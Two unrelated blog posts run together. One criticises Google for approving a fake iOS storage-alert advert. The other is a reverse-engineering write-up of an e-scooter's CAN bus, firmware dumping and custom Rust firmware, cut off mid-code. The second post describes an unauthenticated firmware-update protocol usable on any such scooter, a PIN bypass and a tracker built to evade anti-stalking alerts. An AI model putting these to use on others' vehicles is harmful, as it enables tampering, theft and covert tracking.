TLDR:

AI is really good at detecting deceptive adverts - why isn’t Google using it?

A couple of months ago I noticed this advert popping up in the YouTube app. The main reason I noticed it is that I accidentally clicked it - I knew I was running out of space on my iPhone and a minor lapse of concentration caught me out.

These things can slip through even the best review processes, so I did my internet duty and reported the advert.

The response I got back was less than satisfactory:

Again, sometimes things slip through the net and people don’t always check things properly, so I reported it again. And got the same response.

In fact, multiple people have reported this advert and received the same:

We found that the ad doesn’t go against Google’s policies, which prohibit certain content and practices that we believe to be harmful to users and the overall online ecosystem.

I’m a big fan of Hanlon’s razor.

Never attribute to malice that which is adequately explained by stupidity

However, if you were being uncharitable, you do have to question whether it’s in Google’s interest to remove adverts that get lots of clicks. After all, these adverts are probably performing well and bringing in lots of lovely 🤑.

A simpler explanation is that the people reviewing adverts cannot properly review everything so things get missed.

You can’t help thinking that AI should come to the rescue here. Given Google has some pretty good models - surely it can put them to use?

Here’s what Google’s Gemini has to say about the advert:

---

Classification: DISAPPROVED

Policy Violations:

1. Misrepresentation: Misleading Ad Design
2. Misrepresentation: Unreliable / Deceptive Claims

Detailed Reasons for Disapproval

1. Mimicking System Alerts / UI Elements (Misleading Ad Design)

• The Violation: Google Ads policy strictly prohibits advertisements that imitate operating system dialogs, system warnings, error messages, or interactive system notifications.
• The Evidence: The banner embedded inside the ad explicitly mimics an iOS system alert modal (“iPhone Storage is Full”) complete with standard iOS typography, container styling, and mock system buttons (“Yes” / “No”). This trick visually deceives users into believing their device is throwing a native system-level alert, coercing them to click.

2. Non-Functional / Deceptive UI Components

• The Violation: Ads cannot feature non-functional or misleading interactive elements, such as fake dialog options, false close buttons, or radio choices that do not perform their implied system function.
• The Evidence: The “Yes” and “No” options inside the graphic image are static visuals designed to capture clicks anywhere on the ad banner to trigger a store/landing page redirect, rather than acting as true system controls.

3. Deceptive Fear-Based Tactics & Unverified Claims

• The Violation: Advertising policies forbid using deceptive claims or scare tactics to induce panic and force immediate user action.
• The Evidence: Stating “If you don’t free up space soon, some features may not work properly” inside a fake system popup fabricates a urgent state of failure on the user’s personal device, misleading them about their hardware status to drive app installs.

Required Action

Disapprove the ad creative immediately. Issue a policy violation warning/disapproval flag to the advertiser account under Misrepresentation (Misleading Ad Design). Repeated violations of this nature may result in full account suspension for deceptive practices.

---

Google’s own model rejects the ad in seconds, yet Google’s review process approved it twice.

Come on, meatbags - use some of the amazing AI tools you have access to.

I reverse engineered the hardware and firmware of my Egret GT E-Scooter. I describe how I got in, analysed communication between components, and reverse engineered firmware. I speak about writing custom firmware for the display unit.

Introduction

Last year, I bought myself an Egret GT. It’s an e-scooter that touts a range of 100km and has very large tyres which makes driving it quite comfortable. To make sure you know that it’s a high-end e-scooter, it comes with a 320x480 LCD display used as a HUD, on which the speed, driving mode, battery level and range are displayed.

Now because I have to break tinker with everything I own, I eventually decided to start figuring out how this thing worked. I can’t remember exactly why, but it was possibly due to the fact that holding the ‘down’ button on the keypad while powering the scooter would cause it to enter a firmware update mode. If you clicked a button to exit this menu, you would enter the normal ‘driving’ mode, and would be able to use the scooter without entering the PIN. While I always secure the scooter with a reasonably good lock, this still irked me a bit.

The first thing I started on was the mobile app, which allows you to unlock the scooter remotely, change a few settings, and view the battery level. I won’t bore you with the process, but what I found from skimming through the bluetooth handlers of the app was the following:

1. The scooter can perform firmware updates over bluetooth, and seemingly there exists a few different places a firmware update can go (display, controller, button panel).
2. Some metrics which are not shown in the app or on the scooter are transmitted over bluetooth, such as the time spent in each driving mode, device temperature, motor current, battery voltage, battery charging history. Details such as the total driving time, odometer, and charge history are transmitted to the manufacturer and stored attached to the scooter’s ID, this behaviour is not clearly mentioned in the app :)))))))
3. The scooter doesn’t know its Vehicle Identification Number until the app connects and sets it. If you set this using a bluetooth debug app yourself, the Egret app can be spoofed to think the scooter is a different model. I tried to spoof the VIN of the 45km/h model of the scooter to see if the speed limit was implemented with such a simple check, but this didn’t work.

Eventually I became bored at playing with the bluetooth interface and turned to the USB-C port on the display. The manufacturer states that this is just for charging phones, and after some testing with different devices I did conclude that if the data pins were connected, the display unit wouldn’t act as either a USB host or device. But I knew better, and ordered a USB-C breakout board. When this arrived, I plugged it in and probed each pin with an oscilloscope. To my surprise, two of the USB-C pins were being used as a CAN bus (which smells horribly noncompliant).

CAN Bus sniffing

Figure 1: An oscilloscope attached to the CAN bus of the scooter, decoding messages.

To sniff this can traffic, I threw together an abomination (pictured in Figure 2) using an ESP32-C6, a SN65HVD230, and a MCP2515^0.

[^0]: The reason for two CAN transceivers is that the SN65HVD230 could be used by the ESP-CAN peripheral to listen to messages, but for some reason wasn’t able to transmit properly (would cause a bus error). I later added the MCP2515, which is able to transmit. I kept both because the SN65HVD230 exposed an async interface in the rust library I was using for the firmware, which makes receiving messages as part of a state machine easy.

Figure 2: The device

I put together a quick program which initialised the CAN peripherals and logged every can message. Then I plugged my CAN logger into the scooter and recorded the messages during startup.

The CAN bus proved to be quite noisy, so to figure out what was going on I built a small tool using egui to show a plot of can messages against time. By plotting each can message as a dot with the y-axis as the can message ID, it becomes very easy to identify which messages are commands, responses, and periodic data.

Unfortunately at this point I still didn’t have a good idea which purpose each message had. But by sniffing the bus while running the scooter, I was able to quickly figure out which messages were used in communicating the throttle, driving mode, and motor speed:

• 0x300: Sent by the display to the controller. Contains the current driving mode (walk, eco, drive, sport), whether the headlight is on, and in walk mode contains a counter in the last nibble. Sending a message where the fourth byte is a5 instead of the usual 5a causes the controller to reset.

  An example is which decodes to:

  Driving modeWalk (0x00_90)HeadlightOperating (0x64)Walk counter0

• 0x306: Sent by the display to the controller. Contains the throttle position, the blinker lights, and the speed limit of the scooter. The speed limit has no effect on the standard GT controller, but on the GTS it sets the speed limit to 25, 35, or 45km/h. For some reason the throttle level is transmitted as a 9 bit unsigned integer with the MSB being the first bit of the second byte.

  An example is which decodes to:

  Throttle511Left blinkertrueRight blinkerfalseSpeed limit25km/h (0)

• 0x201: Contains motor speed, and some status flags.

  An example is which decodes to:

  Motor speed1031Walk modefalseHeadlight onfalseBrake light ontrue

In the end, I documented all of the CAN messages: here.

At this point I was now able to do some amusing stuff, like controlling the scooter’s motor remotely, but this isn’t very practical or interesting. This project kind of stalled at this point as I had no access to the firmware and therefore there was little more I could do. A few months later I noticed that it was possible to buy replacement motor controller and display units online. I couldn’t resist the opportunity, so I ordered replacements of both.

Teardowns and firmware extraction

The first component I tore down was the controller. This was particularly difficult as the rear plate was secured very tightly with crosshead screws, of which the heads of two stripped immediately, requiring me to dremel a slot. The device was also filled with some type of potting compound, but very thankfully the compound was actually quite soft and could easily be scraped away.

After removing the potting compound, I was presented with quite the gift: None of the active components had had their markings etched away, and there was a row of four pads on the back side of the board. The MCU was marked with APM32E103xCxE (a STM32F103 clone), therefore these pins are very likely the SWD port. By using OpenOCD^1 I was able to dump the flash and the RAM^2 contents shortly after boot.

[^1]: To dump images, I used a STLINK connected to these 4 pins (VCC, GND, CLK, DIO) and ran: openocd -f interface/stlink.cfg -f target/stm32f1x.cfg -c "init; dump_image flash.bin 0x00000000 0x80000; shutdown". For ram the command is the same, just with 0x20000000 instead of 0x0 as the base address.

[^2]: Capturing the RAM contents proved to be very useful as the firmware appears to store a lot of pointers in RAM which don’t change over the lifetime. Having these present gave Ghidra an easy time following references.

With the firmware dumped I could start analysing it with Ghidra^3. I very quickly found the main CAN message handler, which allowed me to further document the purpose of each CAN message.

[^3]: A quick rundown of how I did this:

1. Import the flash image, set the language to ARM Cortex little (default). Click options and set the base address to 0x8000000.
2. Open the code browser, skip analysis for now.
3. Use File -> Add to program to add the RAM image, click options and set the base address to 0x20000000.
4. Use the SVD loader plugin to load in the SVD file for the MCU. This is critical as it allows you to see clearly where peripherals (e.g. GPIO or the CAN bus) are being used.
5. You should now run the analysis. Don’t enable aggressive instruction finder unless, I found it falsely identifies too many functions in data areas.
6. Seek to 0x8000004, at this location is a pointer to the reset function (AKA main). Jump to the address and dissassemble/create a function if there isn’t one already.
7. Start exploring from reset. There’s usually a lot of boilerplate HAL code here such as the clock setup and the code that loads static variables into RAM. There will likely also be a lot of noreturn functions here that ghidra won’t identify, which will cause decompiled code to appear in multiple locations. My only advice here is to click through until you see code that looks like application code - typically application code starts by initialising peripherals, so if you see GPIO/UART/CAN mentioned, you are probably in the right place.
8. Be aware that the code starting at 0x8000000 might be the bootloader. If ghidra says the function modifies the stack pointer, this might be the ‘bootload’ function which is jumping to the main firmware by setting the stack pointer and jumping to the reset handler. If you look at the location where this function is taking the stack pointer and reset function from, you’ll likely find the interrupt vector of the main application.

Figure 3: Decompilation showing the handlers for messages 0x300 and 0x306

I also discovered that a total of three applications live on the controller MCU: A bootloader located at 0x8000000, an ‘updater’ at 0x8003000, and the main application at 0x8006200. The bootloader sets up the CAN bus and listens for a short time to see if any ‘update’ packets arrive, to see if a firmware update over the CAN bus is in progress. For some reason both the bootloader and ‘updater’ firmware contain a mechanism to update the application firmware over CAN bus, both use a different update scheme.

Figure 4: Ghidra open on the ‘bootload’ function of the controller. This can be identified by it writing the address of the reset function (image[1]) to the start of RAM (0x20000000), setting the stack pointer (image[0]), and then jumping to the reset function. The reset function will handle setting up the NVIC.

Figure 5: The application image. The first two words are the initial stack pointer address and the reset function, followed by the addresses of the interrupt handlers. Note how it’s quite repetitive, this makes it easy to identify.

Another funny note is that at 0x8006000 the length of the application firmware is stored, but not as a four or eight byte unsigned integer as you’d inspect, but instead as an ascii string of the base-10 representation of the number. Even wilder is that the entire region after the length up to 0x80061ff is padded with ascii space characters, and terminated with \r\n.

Figure 6: The contents of memory just before the main application starts.

After exploring a small amount further, I decided to turn my attention to the display unit. The majority of the code in the controller appears to be the FOC motor control code, and I didn’t feel particularly comfortable modifying the safety critical part of the device, especially after discovering that the controller contains some fairly reasonable safety precautions, such as shutting down if the display stops sending valid throttle positions after a short period.

Display unit

Cracking open the display unit required much more effort than the controller. It’s constructed from a reasonably tough and thick (2mm) injection molded body, so I used a dremel to cut into the back side. I had assumed the front screen cover was heat welded on, and so I also started using a dremel around the edge, but once I had cut a slot and had some leverage, I was able to simply pry the cover off as it was only glued.

Figure 7: Topside of the display unit, I’m using a Glasgow as the debugger

The board for the display was quite interesting as it had several unused through hole pin header rows and multiple microcontrollers. I identified the chips to be the following:

1. Main MCU: AT32F415
2. Bluetooth MCU: CH573
3. NFC reader IC: FM17520
4. CAN Transceiver
5. SPI flash chip: W25Q128FV

One debug header was the SWD port for the main MCU, so I repeated the process of dumping the firmware there. Another provided access to the SPI flash, so I also dumped this, but it only contained only the bitmap images used by the GUI shown on the display.

The display firmware is structure similarly to the control unit, with a bootloader which is capable of receiving firmware updates over the CAN bus.

1. The display unit firmware is structured as a bootloader and a main application at 0x8008000.
2. The GUI is drawn using SEGGER EMWin.
3. The bluetooth MCU communicates over GPIOA 2 and 3 using UART at 57500k, using a simple framing scheme. When a bluetooth attribute is read, the CH573 sends a request message with a number indicating a handler in the main MCU firmware. The main MCU sends back a response message with the same command number and the response body.
4. The NFC module also communicates over UART at 115200k, with a slightly different protocol. I didn’t look into this much further.
5. The button panel on the handlebars of the scooter communicates with the display unit also over UART, at 9600k. The only message it sends is a simple bitfield of the buttons that are pressed. Interestingly, it handles the blinking of the indicators itself; It blinks the lights and also has two bits in its message which indicates the blinker state. It appears to also be able to receive firmware updates.
6. The CAN bus is connected over pins GPIOA 11 and 12.
7. The display is a ST7796 controller, connected over a parallel interface; All 16 pins on GPIOB are used as a parallel data bus, which allows the firmware to update the state of all pins in just one instruction.
8. The ADC reads from three channels: An ambient light sensor on ch12, the throttle voltage on ch13, and the battery voltage on ch15. The firmware only reads the battery voltage to trigger an error message when it is too low, for all other usages of the battery level the firmware reads a variable updated by a CAN message sent by the battery. (Yeah, the battery is on the bus.)
9. The firmware of the display unit is, like the controller, updated over CAN. And again like the controller, the actual update code lives in the bootloader; The application firmware simply reboots itself if it sees an update initiation message, the bootloader then sees the next message and starts the update process. Yes, this also means that it’s possible to modify the firmware of any scooter without authentication :)))))

Initially the display firmware was a pain to reverse engineer, the version of Ghidra that I was using had a bug which caused it to not properly tag function pointers located in areas identified as data, due to the pointers having their lower bits set (indicating that the function uses THUMB instructions). Since the firmware is structured around tables of callbacks - for CAN, bluetooth, and GUI screens - I was unable to locate the callers of a lot of functions. By luck I at some point encountered the function which scans through the CAN handlers table and was able to ascertain the structure of the CAN handler table, and since every entry in the table specifies the ID to match on, and optionally an interval and a tx and/or rx callback, I was now able to quickly locate the corresponding code for each CAN message that I observed.

Figure 8: Ghidra with the function of the display unit which handles sending the 0x300 CAN message

Figure 9: A table of CAN handlers defined at 0x200001a0

Figure 10: The entry for CAN message 0x306, it has a transmit callback and a specified interval

Through extensive cross referencing of both the display and controller firmware, I was able to build up a mostly complete understanding of the CAN messages, the only messages I didn’t complete were some related to the apple find my feature, which I’m not particularly interested in because I don’t have an iphone and instead built my own tracker device using openhaystack, which has the extra benefit of not triggering any ‘tracker following’ messages as it rotates identity every 30 minutes :)

Next up was figuring out the GPIO and peripheral configurations, which I’d need to begin writing my own firmware. Thankfully this is actually pretty easy as the firmware is using the manufacturer provided peripheral library and also didn’t use any form of LTO when compiling, so the decompilation output for the compiled HAL provided functions very closely matches the source.

Figure 11: Decompilation result for the GPIO_Init function, which is pretty much identical to the source

Figure 12: Decompilation of the function initialising UART5, we can see which pins are statically configured as tx and rx by the contents of the GPIO_Pins field, and the configuration of the UART peripheral. The baud rate is passed as a parameter for some reason.

Using this technique of matching up decompiled library functions with source code, and using the name and type information obtained by doing so to discover peripheral configs, allowed me to fully map out all the GPIO pins and the configurations of all the peripherals..

Another thing that aided in my reverse engineering was that the firmware had left in a debug menu (it seems to be unreachable from the actual firmware, but the code is still there). The debug menu displays some button and headlight statuses, so I was instantly able to fill out a ‘button state’ enum.

Figure 13: Decompilation of the debug menu

At this point I had pretty much figured out enough information to begin writing my own firmware; The CAN messages required to operate the motor controller were fully mapped out, as were the GPIO pins and peripheral configurations, and I’d also reverse engineered the UART protocol of the bluetooth MCU. I’d even put together a block diagram of all the individual components of the scooter that communicate:

Running my own firmware on the cracked open display unit would be trivial, as I can just use a debug probe to flash it. But to get my firmware onto a usable display unit I’d need to reverse engineer the firmware update process.

Firmware updates

Thankfully (for me) the firmware update process ended up being extremely simple, with no cryptography involved and the main lifecycle of a firmware update living entirely within one function in the bootloader.

A firmware update starts in a CAN message handler for ID 0x384. If the message is then the firmware resets, and if the message is then the scooter erases the flash regions used to store the VIN and scooter configuration.

Figure 14: Ghidra with the function of the display unit which handles CAN messages with ID 0x384

Figure 15: The core of the firmware update loop, after a chunk’s CRC is validated, the bootloader directly writes into flash.

The device performing the firmware update then continues to send messages until the bootloader starts up, sees an update initiation message, and replies with . The updater device then sends 64 byte chunks spread over 9 CAN 0x384 frames, where each frame has the following structure:

• Frame 0
• Frame 1..9
• Frame 9

The CRC is CRC-16-CCITT over the data. The data of each chunk is padded with zeros to make 64 bytes before calculating the CRC. sequence is an unsigned byte, starting at 0 and incrementing for each chunk transmitted, after 0xFF it wraps to 0.

The first chunk is not the first 64 bytes of the firmware, but instead the update file name (for example: AT_R2_JHZY_GT1_GE_FM_HW02_4.0.2) as a null terminated string, followed by the firmware length as a base-10 encoded, null terminated string. The bootloader replies to the first chunk four times with , and all subsequent chunks with one .

After the first chunk is sent, the updater device then sends the firmware image a chunk at a time. The scooter replies with one message after the last CAN message of a frame is sent and the CRC is validated. After the firmware has been transmitted, the updater sends , which triggers a reboot of the display unit. The update mechanism directly writes over the application image in flash, so a failed update will brick the display. However, the bootloader always checks for the presence of packets when powering up, allowing a firmware update to begin even if the application code isn’t functional.

In summary, the update process follows this sequence diagram (you can tell I’m having fun with typst here :)):

Figure 16: Sequence diagram of update process

To actually do the firmware update, I extended the CAN dumping firmware that I wrote earlier into this, which simply flashes a firmware image embedded inside.

Great, I can now update the firmware on the device. To confirm this worked I tried it out with the firmware image I’d dumped from the cracked open device to begin with, and it worked first time.

Rewrite it in rust

Now I could begin writing some firmware in Rust. There was a small problem though, the display unit MCU is the AT32F415, which is a STM clone, but it seems to not be a clone of a specific STM chip, but instead a mish-mash of STM32 peripherals, most appear to match up with the STM32F1, but the RTC seems to be from a STM32F3. This is annoying because it means I can’t just jumpstart to writing firmware using Embassy, instead I need to first build my own HAL^4.

[^4]: Hardware access library.

Kossnikita had already started on this using a fork of stm32-rs, so I was thankfully able to take this and start adding support for the peripherals I needed. I must admit I mostly cheated here; for most of the peripherals I started by taking the implementation from Embassy, and then I, with both the datasheet of the stm32f1 and the at32f415 open, updated the peripheral code to match the register names used by the AT32. There’s very likely a better way here, such as adding the chip as an entry in stm32-metapac, which is a subproject of Embassy which processes SVD files to create PAC^5 crates, but I initially assumed the AT32 was more different than it is.

[^5]: Peripheral Access Crate.

I started by bringing up each peripheral, the clocks and timers first, as a timer allows me to add an embassy-time-driver implementation. Then the ADC, external GPIO interrupts, UART, CAN, and RTC peripherals. With the HAL drivers implemented I could then start writing code to drive the display, read the ADC inputs, and talk over the CAN and UART buses.

Bringing up the display was entirely straightforward, using the mipidsi crate for the display driver, all I had to do myself was add a ParallelInterface implementation in the HAL that allows writing a u16 to all the GPIO pins in one operation:

/// A bus of gpio pins
///
/// SHIFT: which range of pins are we operating on: 0 => 0..16, 8 => 8..16
/// MASK: bitmask used to select which pins are members of this bus. The mask is unshifted.
pub struct Bus<const P: char, const SHIFT: u8, const MASK: u16, MODE = DefaultMode> {
    _mode: PhantomData<MODE>,
}

impl<const P: char, const SHIFT: u8, const MASK: u16, MODE> Bus<P, SHIFT, MASK, MODE> {
    fn _set_state(&mut self, state: u16) {
        unsafe {
            (*Gpio::<P>::ptr()).odt().modify(|r, w| {
                // we only need to read the previous state if the mask doesn't
                // cover everything.
                let prev = if const { MASK & 0xFFFF != 0xFFFF } {
                    r.bits() & !(MASK as u32)
                } else {
                    0
                };

                let new = ((state << SHIFT) & MASK) as u32;
                w.bits(prev | new)
            });
        }
    }

    fn _get_state(&self) -> u16 {
        unsafe {
            let unshifted = (*Gpio::<P>::ptr()).odt().read().bits() & !(MASK as u32);
            (unshifted >> SHIFT) as u16
        }
    }
}

impl<const P: char, const SHIFT: u8, const MASK: u16> mipidsi::interface::OutputBus
    for Bus<P, SHIFT, MASK, Output>
{
    type Word = u16;

    const KIND: mipidsi::interface::InterfaceKind = InterfaceKind::Parallel16Bit;

    type Error = Infallible;

    #[inline(always)]
    fn set_value(&mut self, value: Self::Word) -> Result<(), Self::Error> {
        self.set_state(value);
        Ok(())
    }
}

We can then declare the pins used in the display as rust types:

pub type Bus = at32f4xx_hal::gpio::Bus<'B', 0, 0xFFFF, Output>;
pub type CsPin = Pin<'C', 13, Output>;
pub type DcPin = Pin<'C', 14, Output>;
pub type RdPin = Pin<'C', 0, Output>;
pub type WrPin = Pin<'C', 15, Output>;
pub type RstPin = Pin<'C', 1, Output>;
pub type Backlight = PwmChannel<at32f4xx_hal::pac::TMR2, 0>;

pub type InnerDisplay = mipidsi::Display<
    mipidsi::interface::ParallelInterface<Bus>,
    mipidsi::models::ST7796,
    RstPin,
>;

pub fn init(
    mut rd: RdPin,
    mut cs: CsPin,
    dc: DcPin,
    wr: WrPin,
    rst: RstPin,
    bus: Bus,
    delay: &mut SysDelay,
    backlight: Backlight,
) -> Display {
    cs.set_low();
    rd.set_high();

    let interface = mipidsi::interface::ParallelInterface::new(bus, dc, wr);
    let mut display = mipidsi::Builder::new(mipidsi::models::ST7796, interface)
        .reset_pin(rst)
        .invert_colors(mipidsi::options::ColorInversion::Inverted)
        .orientation(mipidsi::options::Orientation {
            rotation: mipidsi::options::Rotation::Deg0,
            mirrored: true,
        })
        .color_order(mipidsi::options::ColorOrder::Bgr)
        .init(delay)
        .unwrap();

    Display {
        _cs_pin: cs,
        _rd_pin: rd,
        inner: display,
        backlight,
    }
}

And now we have a Display which we can draw to. By opening up the compiled firmware in Ghidra we can also confirm that the data transmission loop turns into a simple loop which writes a sequence of bytes to a single MMIO register:

void __rustcall mipidsi::interface::parallel::send_command<>(
    ParallelInterface<> *self,
    u8 command,
    &[u8] args
) {
  byte *pbVar1;
  u8 *puVar2;

  _DAT_40010c0c = command & 0xff;
  _DAT_422202b8 = 1;
  _DAT_42220238 = 1;

  pbVar1 = args.data_ptr;
  for (puVar2 = args.len; puVar2 != 0x0; puVar2 = puVar2 + -1) {
    _DAT_40010c0c = *pbVar1;
    pbVar1 = pbVar1 + 1;
    _DAT_422202bc = 1;
    _DAT_4222023c = 1;
  }

  return;
}

With the display working, I next worked on implementing encoding and decoding of the CAN and bluetooth protocols. For this I used deku as it allows you to declare byte and bit level parsers for structs using a quite concise macro^6:

[^6]: The full protocol implementation can be found here

/// 513
#[derive(deku::DekuRead, deku::DekuSize, defmt::Format, Clone, PartialEq, Eq)]
#[cfg_attr(test, derive(deku::DekuWrite, Debug))]
#[deku(bit_order = "lsb", endian = "little")]
pub struct ControllerSpeed {
    /// In km/h * 100
    #[deku(pad_bytes_after = "2")]
    pub motor_speed: u16,

    #[deku(bits = 1)]
    pub walk_mode: bool,

    #[deku(bits = 1)]
    pub headlight_on: bool,

    #[deku(bits = 1, pad_bits_after = "5")]
    pub brake_light_on: bool,
}

#[test]
fn test_display_throttle() {
    let mut buf = [0u8; 8];

    deser_roundtrip(&mut buf, &DisplayThrottle::new(511, false, false, 0));
    assert_eq!(buf, [0xff, 0b1, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00]);

    deser_roundtrip(&mut buf, &DisplayThrottle::new(511, true, false, 0));
    assert_eq!(buf, [0xff, 0b011, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00]);

    deser_roundtrip(&mut buf, &DisplayThrottle::new(511, true, true, 2));
    assert_eq!(buf, [0xff, 0b111, 0x00, 0x02, 0x02, 0x00, 0x00, 0x00]);

    deser_roundtrip(&mut buf, &DisplayThrottle::new(1, false, true, 2));
    assert_eq!(buf, [0x01, 0b100, 0x00, 0x02, 0x02, 0x00, 0x00, 0x00]);

    deser_roundtrip(&mut buf, &DisplayThrottle::new(256, false, true, 2));
    assert_eq!(buf, [0x00, 0b101, 0x00, 0x02, 0x02, 0x00, 0x00, 0x00]);
}

The neat thing about doing this in rust is that I could then take these definitions and use them in a completely different program to decode the CAN logs into something human readable.

Actor-modelling

Now that the protocols are implemented, it becomes quite easy to write state machines using Embassy to handle incoming messages (both external messages from the CAN bus or bluetooth MCU, or internally defined messages for communicating button presses, events triggered by the UI, and ADC readings) and update relevant state. Overall, using the actor model for firmware is really quite a breeze, when all tasks communicate over well defined interfaces instead of reading and writing to shared global memory, reasoning about the system becomes simplified, and in my case, writing an emulator tool to test the GUI proved easy.

In the end, I ended up with this set of actors and relationships:

Figure 17: Diagram of tasks (Grey) and resources (Coloured). Arrows indicate direction of data flow.

The ADC Task

This task reads the ADC periodically, and publishes readings onto a channel that other tasks can subscribe to.

pub static ADC_READINGS: embassy_sync::pubsub::PubSubChannel<
    embassy_sync::blocking_mutex::raw::CriticalSectionRawMutex,
    AdcReading,
    4,
    4,
    1
> = embassy_sync::pubsub::PubSubChannel::new();

pub static THROTTLE_READINGS: embassy_sync::watch::Watch<
    embassy_sync::blocking_mutex::raw::CriticalSectionRawMutex,
    Throttle,
    4
> = embassy_sync::watch::Watch::new();

pub static AMBIENT_READINGS: embassy_sync::watch::Watch<
    embassy_sync::blocking_mutex::raw::CriticalSectionRawMutex,
    AmbientLight,
    4
> = embassy_sync::watch::Watch::new();

async fn adc_task_(
    mut adc: Adc<ADC1>,
    // ambient light
    ch12: Pin<'C', 2, Analog>,
    // throttle
    ch13: Pin<'C', 3, Analog>,
) {
    let mut do_sample_ticker =
        embassy_time::Ticker::every(Duration::from_millis(50));

    let state_reading_ch = ADC_READINGS.publisher().unwrap();
    let throttle_reading_ch = THROTTLE_READINGS.sender();
    let ambient_reading_ch = AMBIENT_READINGS.sender();

    // the ambient light level is averaged so that it doesn't flicker
    let mut ambient_light_averager = MovingAverage::<u16, u32, 16>::new();

    loop {
        // sample the throttle and ambient light every 50ms
        do_sample_ticker.next().await;

        defmt::trace!("ADC measuring ambient");
        let val = adc.convert(&ch12, SampleTime::Cycles_480).await;
        let avg = ambient_light_averager.average(val);
        let ambient_light = AmbientLight::from_raw(avg);

        state_reading_ch
            .publish(AdcReading::AmbientLight(ambient_light))
            .await;

        ambient_reading_ch.send(ambient_light);

        defmt::trace!("ADC measuring throttle");
        let val = adc.convert(&ch13, SampleTime::Cycles_480).await;
        let thr = Throttle::from_raw(val);

        state_reading_ch
            .publish(AdcReading::Throttle(thr))
            .await;

        throttle_reading_ch.send(thr);
    }
}

To handle converting raw ADC readings to usable numbers, I use the following newtype pattern:

#[derive(Eq, PartialEq, Default, defmt::Format, Clone, Copy, Debug)]
pub struct Throttle(pub u16);

impl Throttle {
    pub const INITIAL: Self = Self(0);

    // value we report to the controller when throttle is fully depressed
    const OUT_MAX: u32 = 360;

    fn from_raw(raw: u16) -> Self {
        // value the adc reads when throttle is fully depressed
        const MAX_RAW: u32 = 2820;

        // value the adc reads when the throttle is unpressed
        const MIN_RAW: u32 = 730;

        Self(
            (raw as u32)
                .clamp(MIN_RAW, MAX_RAW)
                .saturating_sub(MIN_RAW)
                .saturating_mul(Self::OUT_MAX)
                .saturating_div(MAX_RAW - MIN_RAW)
                .saturating_truncate(),
        )
    }

    pub(crate) fn for_bluetooth(&self) -> u8 {
        const MAX_BT: u32 = 146;

        (self.0 as u32)
            .saturating_mul(MAX_BT)
            .saturating_div(Self::OUT_MAX)
            .saturating_truncate()
    }

    pub fn adjust_for_speed_limit(
        &self,
        // current speed limit setpoint (e.g. 271)
        speed_limit: u16,
        // speed limit set on the controller
        // (250/350/450). for a speed_limit of 271
        // this should be 350.
        controller_speed_limit: u16,
    ) -> u16 {
        // This is just a linear scale for now. I need to find how the speed
        // actually responds over throttle values.
        (self.0 as u32)
            .saturating_mul(speed_limit as u32)
            .saturating_div(controller_speed_limit as u32)
            .saturating_truncate()
    }
}

The ‘System state’ task

The system state (I’m bad at naming) task is used to maintain the read-only and calculated state of the system, that is: The battery level, current speed, temperature, and the odometer and predicted range.

#[derive(PartialEq, Eq, defmt::Format, Clone)]
pub struct SystemState {
    /// motor speed, in deca meters per hour (speed / 100 = km/h)
    pub motor_speed: u16,
    pub headlight_on: bool,
    pub brake_light_on: bool,

    pub controller_temp: u8,
    pub system_voltage: SystemVoltage,
    pub controller_speed_limit_mode: bool,

    pub battery_current: i16,
    pub battery_debug: BatteryDebug,
    pub battery_info: BatteryInfo,

    pub throttle: Throttle,
    pub ambient_light: AmbientLight,

    pub buttons: Buttons,
    /// in km
    pub odometer: u16,

    /// in km
    pub predicted_range: u16,
}

#[embassy_executor::task]
async fn system_state_updater() {
    let can_messages = CAN_MESSAGES.receiver();
    let bt_commands = BT_COMMANDS.receiver();
    let mut adc_readings = crate::adc::ADC_READINGS.subscriber().unwrap();
    let state_updated = STATE_UPDATES.sender();
    let mut buttons_reader = BUTTON_STATE_WATCH.receiver().unwrap();

    let mut update_private_state_ticker =
        Ticker::every(Duration::from_secs(PRIVATE_STATE_UPDATE_PERIOD_SECS));

    let mut private_state = PrivateState::default();

    loop {
        let updated = match select::select5(
            can_messages.receive(),
            bt_commands.receive(),
            adc_readings.next_message_pure(),
            buttons_reader.changed(),
            update_private_state_ticker.next(),
        )
        .await
        {
            select::Either5::First(can_msg) => {
                update_state(|s| s.update_from_can_message(&can_msg));
                private_state.update_from_can_message(&can_msg);
                true
            }
            select::Either5::Second(_) => false,
            select::Either5::Third(reading) => {
                update_state(|s| s.update_from_adc_reading(reading))
            }
            select::Either5::Fourth(buttons) => {
                update_state(|s| s.buttons = buttons);
                true
            }
            select::Either5::Fifth(_) => {
                private_state.periodic_update();
                update_state(|s| private_state.update_public(s));
                true
            }
        };

        if updated {
            state_updated.send(());
        }
    }
}

impl SystemState {
    pub fn update_from_can_message(&mut self, msg: &CanMessage) {
        match msg {
            CanMessage::ControllerStatus(ControllerStatus { battery_level, .. }) => {
                self.battery_info.level_from_controller = *battery_level;
            }
            CanMessage::ControllerSpeed(ControllerSpeed {
                motor_speed,
                headlight_on,
                brake_light_on,
                ..
            }) => {
                self.motor_speed = *motor_speed;
                self.headlight_on = *headlight_on;
                self.brake_light_on = *brake_light_on;
            }
            CanMessage::ControllerTempMotor(ControllerTempMotor { temp, voltage }) => {
                self.controller_temp = *temp;
                self.system_voltage.from_controller = *voltage;
            }
            CanMessage::ControllerSpeedMode(ControllerSpeedMode { .. }) => {}
            CanMessage::ControllerSpeedLimit(ControllerSpeedLimit { speed_limit }) => {
                self.controller_speed_limit_mode = *speed_limit;
            }
            CanMessage::BatteryCommandState(BatteryCommandState {
                command,
                state,
                estimated_range,
            }) => {
                self.battery_debug = BatteryDebug {
                    command: *command,
                    state: *state,
                    estimated_range: estimated_range.truncate(),
                }
            }
            CanMessage::BatteryVoltageCurrent(BatteryVoltageCurrent {
                voltage_mv,
                current_ma,
            }) => {
                self.system_voltage.from_battery = voltage_mv.truncate();
                self.battery_current = current_ma.truncate();
            }
            CanMessage::BatteryChargeLevel(BatteryChargeLevel {
                relative_soc,
                absolute_soc_mah,
            }) => {
                self.battery_info.relative_soc = relative_soc.truncate();
                self.battery_info.absolute_soc = absolute_soc_mah.truncate();
            }
            CanMessage::BatteryStateOfHealth(BatteryStateOfHealth {
                relative_soh,
                absolute_soh_mah,
            }) => {
                self.battery_info.relative_soh = *relative_soh;
                self.battery_info.absolute_soh = absolute_soh_mah.truncate();
            }
            CanMessage::BatteryCapacityTemp(BatteryCapacityTemp {
                capacity_mah,
                battery_charged,
                battery_charging,
                battery_temp,
            }) => {
                self.battery_info.capacity = *capacity_mah;
                self.battery_info.charged = *battery_charged;
                self.battery_info.charging = *battery_charging;
